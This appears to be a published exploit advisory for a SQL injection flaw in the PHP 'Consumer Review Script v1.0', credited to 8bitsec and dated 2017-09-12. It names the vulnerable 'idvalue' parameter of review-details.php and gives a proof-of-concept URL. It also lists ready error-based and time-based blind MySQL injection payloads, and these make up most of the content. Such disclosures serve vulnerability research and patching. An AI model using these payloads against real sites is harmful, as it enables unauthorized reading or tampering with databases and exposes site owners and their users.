Consumer Review Script 1.0 - SQL Injection

# Exploit Title: Consumer Review Script v1.0 - SQL Injection
# Date: 2017-09-12
# Exploit Author: 8bitsec
# Vendor Homepage: http://www.phpscriptsmall.com/product/consumer-review-script/
# Software Link: http://www.phpscriptsmall.com/product/consumer-review-script/
# Version: 1.0
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec

Release Date:
=============
2017-09-12

Product & Service Introduction:
===============================
Consumer Review Script

Technical Details & Description:
================================

SQL injection on [idvalue] URI parameter.

Proof of Concept (PoC):
=======================

SQLi:

http://localhost/[path]/review-details.php?idvalue=9 and sleep(5)

Parameter: idvalue (GET)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: idvalue=90 AND (SELECT 5020 FROM(SELECT COUNT(*),CONCAT(0x71716b6a71,(SELECT (ELT(5020=5020,1))),0x717a627171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: idvalue=90 AND SLEEP(5)

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